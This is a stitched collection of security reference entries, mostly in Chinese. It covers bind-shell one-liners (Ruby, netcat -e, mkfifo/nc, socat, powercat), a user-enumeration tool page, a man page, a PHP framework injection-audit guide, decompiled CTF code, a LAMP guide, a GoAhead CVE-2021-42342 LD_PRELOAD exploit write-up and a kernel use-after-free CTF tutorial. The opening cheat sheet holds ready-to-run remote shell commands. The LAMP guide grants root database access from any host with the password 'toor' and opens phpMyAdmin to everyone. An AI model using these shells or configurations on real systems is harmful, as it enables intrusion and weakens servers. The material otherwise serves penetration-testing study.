socket_write($cl,$m,strlen($m));}}'
```
## Ruby
```ruby
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
```
## Netcat Traditional
```powershell
nc -nlvp 51337 -e /bin/bash
```
## Netcat OpenBsd
```powershell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```
## Socat
```powershell
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```
## Powershell
```powershell
https://github.com/besimorhino/powercat
# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep
# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```
|
sec-knowleage
|
---
title: ident-user-enum
categories: Information Gathering
tags: [infogathering,ident-user-enum,recon,portscanning,information gathering,kali linux,enumeration]
date: 2017-04-23 08:22:00
---
0x00 介绍
-------
视频介绍:[https://asciinema.org/a/107704][1]
ident-user-enum是一个简单的PERL脚本,用于查询识别服务(113/TCP),以确定在目标系统的每个TCP端口上侦听进程的所有者。 这可以帮助在一个最好的时间内确定目标服务的优先级(您可能希望攻击以root用户身份运行的服务)。或者,所收集的用户名的列表可用于对其他网络服务的密码猜测攻击。
<!--more-->
工具来源:http://pentestmonkey.net/tools/user-enumeration/ident-user-enum
[主页][2] | [仓库][3]
- 作者:pentestmonkey
- 证书:MIT
0x01 功能
-------
```plain
root@kali:~# ident-user-enum
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
用法: ident-user-enum.pl ip地址 端口
查询识别(113 / TCP)以确定操作系统级用户运行该进程在给定的TCP端口上侦听服务。可以提供多个端口。
```
0x02 示例
-------
扫描远程主机(192.168.1.13),确定哪个用户在指定端口上运行服务(22 139 445)。
```plain
root@kali:~# ident-user-enum 192.168.1.13 22 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.1.13:22 root
192.168.1.13:139 root
192.168.1.13:445 root
```
[1]: https://asciinema.org/a/107704
[2]: http://pentestmonkey.net/tools/user-enumeration/ident-user-enum
[3]: http://git.kali.org/gitweb/?p=packages/ident-user-enum.git
|
sec-knowleage
|
.\" Copyright (c) 1990, 1991 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" This code is derived from software contributed to Berkeley by
.\" Chris Torek and the American National Standards Committee X3,
.\" on Information Processing Systems.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)fflush.3 5.4 (Berkeley) 6/29/91
.\"
.\" Converted for Linux, Mon Nov 29 15:22:01 1993, faith@cs.unc.edu
.\"
.\" Modified 2000-07-22 by Nicol??s Lichtmaier <nick@debian.org>
.\" Modified 2001-10-16 by John Levon <moz@compsoc.man.ac.uk>
.\"
.TH FFLUSH 3 1993-11-29 "BSD MANPAGE" "Linux Programmer's Manual"
.SH NAME
fflush \- 刷新一个流
.SH "SYNOPSIS 总览"
.B #include <stdio.h>
.sp
.BI "int fflush(FILE *" stream );
.SH "DESCRIPTION 描述"
函数
.B fflush
强制在所给的输出流或更新流
.I stream
上,写入在用户空间缓冲的所有数据,使用流的底层写功能函数。流的打开状态不受影响。
.PP
如果参数
.I stream
是
.BR NULL ,
.B fflush
刷新
.I 所有
打开的流。
.PP
要使用非锁定的对应版本,参见
.BR unlocked_stdio (3)
。
.SH "RETURN VALUE 返回值"
成功执行返回 0,否则返回
.B EOF
并设置全局变量
.I errno
来指示错误发生。
.SH ERRORS
.TP
.B EBADF
.I Stream
不是一个打开的流,或者不是用于输出。
.PP
函数
.B fflush
也可能失败并置
.I errno
为
.BR write (2)
指定的值。
.SH "NOTES 要点"
注意
.B fflush()
仅仅刷新用户空间的由 C 库提供的缓冲。要保证数据被物理地存储到磁盘上,必须也刷新内核缓冲。例如,使用
.BR sync (2)
或
.BR fsync (2).
.SH "CONFORMING TO 标准参考"
函数
.BR fflush()
遵循 ANSI X3.159-1989 (``ANSI C'') 标准。
.SH "SEE ALSO 参见"
.BR fsync (2),
.BR sync (2),
.BR write (2),
.BR fclose (3),
.BR fopen (3),
.BR setbuf (3),
.BR unlocked_stdio (3)
|
sec-knowleage
|
原文 by xiaoL-PKAV
认识一些主流的开发框架与现在程序设计理念,包含了一些WEB设计上的趋势与概念。另外以我自己的角度去说明一下怎么去看一个PHP程序,方法适合于以上开源框架和一些公司内部开发的框架(只要能看到源码)。
## 框架的选择
ThinkPHP V3.2
CodeIgniter V2.2.2
Laravel V5.1
选择以上三个框架也是以为这三个框架算是比较有代表性的
ThinkPHP(TP)在国内很受欢迎,特别是小公司。
CodeIgniter(CI)是传统且很流行的框架,并且也是很成熟的框架,据我说知sina的大多数地方站都是这个框架写的。
Laravel是一个充满设计感的框架,应用了目前PHP上的所有新技术,并且借鉴了大量java与python的框架设计结构,也是目前调查的最流行的的Laravel框架(国内外)
## 认识框架
依次排开:Laravel-> CodeIgniter(CI)->ThinkPHP(TP)

中间的CI并未包含composer.json这个文件,这是PHP的包管理配置文件,在CI的3.0+版本中同样加入了PHP的包管理,真的是方便了大多数程序员。
这样的目录结构很明显,一眼就能看出来。
## 框架的基本设计模式
基本的设计模式就是MVC设计模式。

注意:多层级的分层模式为HMVC模式。HMVC就是把客户端应用程序分解为有层次的父子关系的MVC。

## MVC对应的文件位置
看一个cms程序首先就是找控制器代码在哪个位置,之后就是模型文件的位置,视图文件最后,不过我真的在使用框架开发的程序中发现了模型控制代码而找到漏洞
控制器
Laravel-> CodeIgniter(CI)->ThinkPHP(TP)

模型
Laravel-> CodeIgniter(CI)->ThinkPHP(TP)

数据库连接文件
TP:(通用2.0|3.0)
(Application)\(Home)\Conf\config.php
//(Application) 默认为Application,保不齐修改,可以直接查看index.php

//(home) 项目目录,因项目而异!
```
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'chopperproxyl', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => 'xl_', // 数据库表前缀
```
CI:(通用2.0|3.0)
(application)\config\database.php
//一般是固定形式application,保不齐修改一样可以到index.php里面查看项目命名。

Laravel:(5.0|4.0的目录少一个app)
这个特殊一些,在代码目录下有一个.env文件,里面存在项目的一些配置,可以在这里设置数据库连接信息。(当然可以不)

另外可以直接写在文件中:
config\database.php文件

//定义默认的数据库类型

备注:具体的配置可能是这样两种类型,使用env中定义,或者写入文件。
如果配置文件中同时存在上图中的两套配置,说明系统可能使用了多数据库。
这是几个框架最基本的东西了,下面把其中的关于安全的部分以及自己的一部分见解写出来,会挺有意思的。
## SQL操作模型
在PHP开发过程中,一般都会使用两种技术。
一:
Active
Record(ORM)
ORM技术:Object-Relational
Mapping,把关系数据库的表结构映射到对象上。
例如
ThinkPHP中:

CI中的:

二:查询构造器方式
定义一个抽象数据库类,包含常用的各种方式。
例如:在laravel中的

注意:这两种方式的区别简单说就是需不需要自己去顶一个model文件。
## 可能存在的SQL注入问题:
1、 由于业务的复杂性导致SQL语句有时候很变态,几乎每种框架都支持使用原生SQL语句。
CI:

TP:

Laravel:

注意:凡是这些方式中带入的参数未经过过滤,底层的解析都是不会进行注入处理的,都有可能造成注入。
2、 错误的安全函数用法(预编译)
TP官方方法:
如果使用3.1以上版本的话,使用字符串条件的时候,建议配合预处理机制,确保更加安全,例如:
```
$Model->where("id=%d and
username='%s' and xx='%f'",array($id,$username,$xx))->select();
```
或者使用:
```
$Model->where("id=%d and
username='%s' and xx='%f'",$id,$username,$xx)->select()
```
底层实现原理:获取函数输入参数,所有参数经过一次addslashes,然后使用vsprintf格式化字符串。
问题:如果在数字字段带入%s,且没有引号,一样能注入。
3、 where子查询中key字段可控
CI:
控制器代码

模型代码:

针对查询数组中的value字段是会做处理的,但是针对key字段并不会。
访问查看:

Laravel:
同样的Laravel这个框架也存在这个问题。

其中$type可控一样可以造成注入。

备注:Thinkphp这种框架就没有,它自己写了解析where字句的方式,虽然在这点上很安全,可是历史上出事最多的就是它了。
## URL路由
一般看一个CMS就是要去找URL对应的代码是哪些,这样才有办法进行审计。
WEB开发过程中有一个概念是URL语义化。
传统的URL

https://g.wen.lu/search?newwindow=1&site=&source=hp&q=URL+%E8%AF%AD%E4%B9%89%E5%8C%96&btnG=Google+%E6%90%9C%E7%B4%A2&gws_rd=cr&ei=Jli4VeX_Bciy0gSNjZvgDA
就是参数=值的形式。
做了语义化的URL

http://blog.suchasplus.com/2008/10/uri-pretty-and-url-mapping-with-apache-and-php-how-to.html
简单解释就是从URL上就能知道该页面具体展示的数据或者是什么功能,这是以后WEB开发的一个趋势。
(这里不光指这三个框架,其他框架或者自己开发的框架都将会有这样的功能)
作为一个先进的PHP框架,都是存在路由绑定这个功能的。路由绑定就是将用户访问URL对应到项目的具体控制器中去。(代码审计过程中就是怎么通过URL去访问对应的代码)
Laravel:
项目目录中app\Http\routes.php

CI:

TP:
像TP这种框架,到3.2默认的URL方式还是
http://serverName/index.php/模块/控制器/操作
这种常见方式,但是也有路由绑定的功能。
查找配置项
`'URL_ROUTER_ON' => true,`
然后寻找配置项
`URL_ROUTE_RULES`

备注:通过这些配置项目可以快速的找到URL对应的控制器代码是什么。
说这个还有一个原因就是以后可能会接触到REST模式的URL,这个也是趋势。
** 同一条URL可能对应不同的几个控制器代码。**
HTTP协议存在GET POST PUT DELETE方法。
web程序就是增删改查,对应的操作就是CURD,直接对应到的方法就是:
C对应POST,R对应GET,U对应PUT,D对应DELETE
具体代码就是通过判断请求方法来调用对应的控制器。

## 框架的过滤机制(审计过程需要注意的点)
一:针对URL的过滤
由于URL路由的关系,现在的框架在GET方式上都或多或少的存在过滤或者说验证。
TP:
1、例如\d就限制了该参数只能是数字。

2、或者是使用正则的方式来匹配,达到过滤的效果。

CI:
CI的过滤也一样,就是使用正则去匹配。

Laravel:
同样可以在定义URL路由的时候定义过滤,直接在路由上用where函数限制参数的类型。

或者在文件app\Providers\RouteServiceProvider.php中存在boot的函数,可以定义全局过滤,可以在这里面找找。

二:针对接收参数的过滤
现在的框架一般都会重写$_GET/$_POST/$_REQUEST,自建系统的输入,然后这些输入存在一些参数可以选择是否过滤。
TP:
重写的函数 I()
用法
`I('get.id'); | I('post.id');`
利用设置默认值,设置过滤函数来达到过滤的效果。
`I('get.name','test','htmlspecialchars');`
CI:
CI中所有的系统方法都是$this开头的。
重写的输入函数 $this->input
用法
`$this->input->post('something');`
针对输入的第二个参数仅针对XSS,设置成true会进过一次CI内奸的xss_clean函数。
Laravel:
这个比较厉害,这玩意自己定义了一个中间件Middleware类型(借鉴java)。中间件的作用就是在HTTP请求实际接触应用程序之前,进行层层的检查跟过滤,甚至完全拒绝。
一般被用来做权限验证,参数过滤,数据加解密等等。
所有中间件都在app\Http\Middleware目录下面,根据具体情况查看是否将过滤写在这里面了。
重写的输入函数
```
Request $request
$request->input('ip');
```
第二个参数仅有设置默认值的作用,并没有实际的过滤。
三:默认设置的全局安全机制
CI:

默认还有一个参数
`$config['global_xss_filtering'] = TRUE;`
开启后所有的参数都会经过xss_clean函数一遍。
TP:
全局的过滤参数
`'DEFAULT_FILTER' =>'strip_tags,stripslashes',`
对接收数据进行依次的过滤。
Laravel:
默认开启的全局CSRF过滤(借鉴django等框架)。
其他貌似就没了。
## 由各个框架编写过程联想到的一些东西
1、 测试的时候如果一个正常的请求就是获取不到数据,可以在HTTP头里面加上
`X-Requested-With:XMLHttpRequest`
就是ajax请求。现在一般程序员的编写纯api接口的时候习惯是会区分直接访问还是ajax的,这样可以减少乱七八的数据请求。
例如:
Laravel:

CI:

TP:
常量IS_AJAX 判断是否是AJAX提交。
2、 如果上传成功一个文件,但是就是访问不到,有几个原因。
.htaccess 文件限制了根目录下index.php以外的所有文件的访问权限,配合URL路由这个功能所有不在路由中的路径
`http://testtest.net/test/test.php`
都是无法访问的。
这个也是django类似的框架难以攻击的一个原因。(PHP正在往规范严谨的方向去)
这种时候要么能覆盖route文件,要么能覆盖对应的方法(这个太难,需要不破坏文件,只是修改对应的方法。)
Laravel这样的框架本身www设置的时候就是一个public目录(默认)。

这个目录除了index.php文件啥也没有了,上传文件一般都在www目录的外层目录,无法直接访问。
这种时候只能靠跳转目录来跳到public下面才能访问,或者文件包含。
## Reference
[L-PKAV](http://xlixli.net/)
|
sec-knowleage
|
int64_t __gmon_start__ = 0;
void _init() {
int64_t rax1;
rax1 = __gmon_start__;
if (rax1) {
rax1();
}
return;
}
int64_t deregister_tm_clones() {
int64_t rax1;
rax1 = 7;
if (1 || (*reinterpret_cast<int32_t*>(&rax1) = 0, *reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&rax1) + 4) = 0, 1)) {
return rax1;
} else {
goto 0;
}
}
int64_t stdin = 0;
int32_t fun_400590(int64_t rdi);
void read_all_stdin(void* rdi, int64_t rsi, int64_t rdx) {
void* v4;
int32_t v5;
int64_t rax6;
int32_t eax7;
int64_t rax8;
int32_t edx9;
v4 = rdi;
v5 = 0;
while (rax6 = stdin, eax7 = fun_400590(rax6), eax7 != -1) {
*reinterpret_cast<int32_t*>(&rax8) = v5;
*reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&rax8) + 4) = 0;
v5 = static_cast<int32_t>(rax8 + 1);
edx9 = eax7;
*reinterpret_cast<signed char*>(reinterpret_cast<int64_t>(v4) + *reinterpret_cast<int32_t*>(&rax8)) = *reinterpret_cast<signed char*>(&edx9);
}
return;
}
int64_t puts = 0x400566;
void fun_400560(int64_t rdi, int64_t rsi, int64_t rdx) {
goto puts;
}
int64_t getenv = 0x400556;
int64_t fun_400550(int64_t rdi) {
goto getenv;
}
int64_t exit = 0x4005a6;
void fun_4005a0(int64_t rdi) {
goto exit;
}
int64_t memset = 0x400586;
void fun_400580(void* rdi, int64_t rsi, int64_t rdx) {
goto memset;
}
int64_t printf = 0x400576;
void fun_400570(int64_t rdi, void* rsi, int64_t rdx) {
goto printf;
}
int64_t fgetc = 0x400596;
int32_t fun_400590(int64_t rdi) {
goto fgetc;
}
void _fini() {
return;
}
void fun_400655() {
int64_t v1;
goto v1;
}
int64_t __JCR_END__ = 0;
void exit();
void frame_dummy() {
int1_t zf1;
zf1 = __JCR_END__ == 0;
if (!(zf1 || 1)) {
exit();
}
if (1)
goto 0x400658;
if (1)
goto 0x400658;
goto 0;
}
void print_flags() {
int64_t rax1;
int64_t rsi2;
int64_t rdx3;
void* rbp4;
uint32_t eax5;
unsigned char v6;
int64_t rbp7;
rax1 = fun_400550("FLAGS");
fun_400560(rax1, rsi2, rdx3);
fun_4005a0(0);
rbp4 = reinterpret_cast<void*>(reinterpret_cast<int64_t>(__zero_stack_offset()) - 8 - 8 + 8 - 8 + 8 - 8 + 8 - 8);
fun_400580(reinterpret_cast<int64_t>(rbp4) - 32, 0, 32);
read_all_stdin(reinterpret_cast<int64_t>(rbp4) - 32, 0, 32);
eax5 = v6;
if (*reinterpret_cast<signed char*>(&eax5)) {
fun_400570("Hello %s!\n", reinterpret_cast<int64_t>(rbp4) - 32, 32);
} else {
fun_400560("What is your name?", 0, 32);
}
goto rbp7;
}
void __libc_csu_fini() {
return;
}
int64_t g601010 = 0;
void fun_400556() {
goto g601010;
}
/* completed.6972 */
signed char completed_6972 = 0;
int64_t __do_global_dtors_aux() {
int1_t zf1;
int64_t rax2;
zf1 = completed_6972 == 0;
if (zf1) {
rax2 = deregister_tm_clones();
completed_6972 = 1;
}
return rax2;
}
void fun_400566() {
goto 0x400540;
}
void __libc_csu_init(int32_t edi, int64_t rsi, int64_t rdx) {
int32_t r15d4;
int64_t r14_5;
int64_t r13_6;
int64_t rbx7;
int64_t rdi8;
r15d4 = edi;
r14_5 = rsi;
r13_6 = rdx;
_init();
if (!0) {
*reinterpret_cast<int32_t*>(&rbx7) = 0;
*reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&rbx7) + 4) = 0;
do {
*reinterpret_cast<int32_t*>(&rdi8) = r15d4;
*reinterpret_cast<int32_t*>(reinterpret_cast<int64_t>(&rdi8) + 4) = 0;
*reinterpret_cast<int64_t*>(0x600e08 + rbx7 * 8)(rdi8, r14_5, r13_6);
++rbx7;
} while (1 != rbx7);
}
return;
}
void fun_4005a6() {
goto 0x400540;
}
void fun_400586() {
goto 0x400540;
}
void fun_400576() {
goto 0x400540;
}
void fun_400596() {
goto 0x400540;
}
int64_t __libc_start_main = 0;
void _start() {
void* rsp1;
int64_t rdx2;
int64_t rax3;
rsp1 = reinterpret_cast<void*>(reinterpret_cast<int64_t>(__zero_stack_offset()) + 8);
__libc_start_main(0x400710, __return_address(), rsp1, __libc_csu_init, __libc_csu_fini, rdx2, (reinterpret_cast<uint64_t>(rsp1) & 0xfffffffffffffff0) - 8 - 8, rax3);
__asm__("hlt ");
}
|
sec-knowleage
|
# LAMP
---
LAMP 指的 Linux(操作系统)、ApacheHTTP 服务器,MySQL(有时也指 MariaDB,数据库软件) 和 PHP(有时也是指 Perl 或 Python) 的第一个字母,一般用来建立 web 应用平台
## MairaDB
**安装**
```
yum install -y mariadb mariadb-server
systemctl start mariadb
mysql_secure_installation
```
**配置远程访问**
Mariadb 数据库授权 root 用户能够远程访问
```sql
systemctl start mariadb
mysql -u root -p
select User, host from mysql.user;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY 'toor' WITH GRANT OPTION;
FLUSH PRIVILEGES;
```
```bash
firewall-cmd --permanent --add-service=mysql
firewall-cmd --reload
```
---
## Apache+PHP
**安装**
```bash
yum install -y httpd
yum install -y php-* --skip-broken
```
**配置**
```vim
vim /etc/httpd/conf/httpd.conf
AddType application/x-httpd-php .php
# apache 解析 php 程序
PHPIniDir "/etc/php.ini"
# 指定 php.ini 配置文件路径
```
```bash
echo "<?php phpinfo(); ?>" > /var/www/html/index.php
service httpd start
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --reload
```
---
## phpmyadmin
**配置数据库**
```bash
mysql -u root -p
# 创建一个专给 WordPress 存数据的数据库
create database f8x_info; # 最后的"f8x_info"为数据库名
# 创建用于 WordPress 对应用户
create user f8x@localhost identified by 'password'; # "f8x"对应创建的用户,"password"内填写用户的密码
# 分别配置本地登录和远程登录权限
grant all privileges on f8x_info.* to f8x@'localhost' identified by 'password';
grant all privileges on f8x_info.* to f8x@'%' identified by 'password';
flush privileges; # 刷新权限
exit;
```
**安装 phpmyadmin**
```bash
yum install phpmyadmin
```
```diff
vim /etc/httpd/conf.d/phpMyAdmin.conf
-- Require ip 127.0.0.1
-- Require ip ::1
++ Require all granted
-- Require ip 127.0.0.1
-- Require ip ::1
++ Require all granted
```bash
systemctl restart httpd
```
访问 IP/phpmyadmin
|
sec-knowleage
|
# GoAhead Web Server Environment Variables Injection and 'LD_PRELOAD' Remote Code Execution (CVE-2021-42342)
[中文版本(Chinese version)](README.zh-cn.md)
An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.
Attacker can use this feature to upload their shared object payload in the multipart form and hijack the `LD_PRELOAD` environment variable to execute arbitrary code.
This vulnerability is the patch bypass of the [CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562).
References:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## Vulnerable environment
Execute following commands to start a GoAhead 5.1.4:
```
docker compose up -d
```
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
## Exploit
First of all, compile this hijack code to a dynamic shared library:
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
Compile on a x86/64 environment:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
Then, we are using [this script](poc.py) to reproduce the vulnerability.
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
Hijack is successful:

|
sec-knowleage
|
# kernel UAF
UAF 即 Use After Free,通常指的是**对于释放后未重置的垂悬指针的利用**,此前在用户态下的 heap 阶段对于 ptmalloc 的利用很多都是基于UAF漏洞进行进一步的利用。
在 CTF 当中,内核的“堆内存”主要指的是直接映射区(direct mapping area),常用的分配函数 kmalloc 从此处分配内存,常用的分配器为 slub,若是在 kernel 中存在着垂悬指针,我们同样可以以此完成对 slab/slub 内存分配器的利用,通过 Kernel UAF 完成提权。
## 内核堆利用与绑核
slub allocator 会优先从当前核心的 `kmem_cache_cpu` 中进行内存分配,在多核架构下存在多个 `kmem_cache_cpu` ,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 `kmem_cache_cpu` ,这使得利用模型变得复杂,也降低了漏洞利用的成功率。
> 比如说你在 core 0 上整了个 double free,准备下一步利用时 exp 跑到 core 1去了,那就很容易让人摸不着头脑 :(
因此为了保证漏洞利用的稳定,**我们需要将我们的进程绑定到特定的某个 CPU 核心上**,这样 slub allocator 的模型对我们而言便简化成了 `kmem_cache_node + kmem_cache_cpu` ,我们也能更加方便地进行漏洞利用。
现笔者给出如下将 exp 进程绑定至指定核心的模板:
```c
#include <sched.h>
/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
```
## 通用 kmalloc flag
`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 `kmem_cache` ——即通用的 `kmalloc-xx` 。
这两种 flag 的区别主要在于 `GFP_KERNEL_ACCOUNT` 比 `GFP_KERNEL` 多了一个属性——**表示该对象与来自用户空间的数据相关联**,因此我们可以看到诸如 `msg_msg` 、`pipe_buffer`、`sk_buff的数据包` 的分配使用的都是 `GFP_KERNEL_ACCOUNT` ,而 `ldt_struct` 、`packet_socket` 等与用户空间数据没有直接关联的结构体则使用 `GFP_KERNEL`。
在5.9 版本之前`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 存在隔离机制,在 [这个 commit](https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792) 中取消了隔离机制,自内核版本 5.14 起,在 [这个 commit](https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552) 当中又重新引入:
- 对于开启了 `CONFIG_MEMCG_KMEM` 编译选项的 kernel 而言(通常都是默认开启),其会为使用 `GFP_KERNEL_ACCOUNT` 进行分配的通用对象**创建一组独立的 `kmem_cache` ——名为 `kmalloc-cg-*`** ,从而导致使用这两种 flag 的 object 之间的隔离。
## slub 合并 & 隔离
slab alias 机制是一种对同等/相近大小 object 的 `kmem_cache` 进行**复用**的一种机制:
- 当一个 `kmem_cache` 在创建时,若已经存在能分配相等/近似大小的 object 的 `kmem_cache` ,则**不会创建新的 kmem\_cache,而是为原有的 kmem\_cache 起一个 alias,作为“新的” kmem\_cache 返回**。
举个🌰,`cred_jar` 是专门用以分配 `cred` 结构体的 `kmem_cache`,在 Linux 4.4 之前的版本中,其为 `kmalloc-192` 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 `kmem_cache`——`kmalloc-192` 中分配。
对于初始化时设置了 `SLAB_ACCOUNT` 这一 flag 的 `kmem_cache` 而言,则会新建一个新的 `kmem_cache` 而非为原有的建立 alias,🌰如在新版的内核当中 `cred_jar` 与 `kmalloc-192` 便是两个独立的 `kmem_cache`,**彼此之间互不干扰**。
## 例题:CISCN2017 - babydriver
[attachment here](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver)
### 分析
先解压 rootfs.cpio 看一下有什么文件
```bash
CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t sysfs none /sys
5 │ mount -t devtmpfs devtmpfs /dev
6 │ chown root:root flag
7 │ chmod 400 flag
8 │ exec 0</dev/console
9 │ exec 1>/dev/console
10 │ exec 2>/dev/console
11 │
12 │ insmod /lib/modules/4.4.72/babydriver.ko
13 │ chmod 777 /dev/babydev
14 │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 │ setsid cttyhack setuidgid 1000 sh
16 │
17 │ umount /proc
18 │ umount /sys
19 │ poweroff -d 0 -f
20 │
───────┴────────────────────────────────────────────────────────────
```
根据 init 的内容,12 行加载了 `babydriver.ko` 这个驱动,根据 pwn 的一般套路,这个就是有漏洞的 LKM 了。init 的其他命令都是 linux 常用的命令,就不再解释了。
把这个驱动文件拿出来。
```bash
core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
```
没有开 PIE,无 canary 保护,没有去除符号表,很 nice。
用 IDA 打开分析,既然没有去除符号表,shift + F9 先看一下有什么结构体,可以发现如下的结构体:
```asm
00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends
00000010
```
再看一下主要函数
**babyioctl:** 定义了 0x10001 的命令,可以释放全局变量 babydev\_struct 中的 device\_buf,再根据用户传递的 size 重新申请一块内存,并设置 device\_buf\_len。
```C
// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}
```
**babyopen:** 申请一块空间,大小为 0x40 字节,地址存储在全局变量 babydev\_struct.device\_buf 上,并更新 babydev\_struct.device\_buf\_len
```C
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
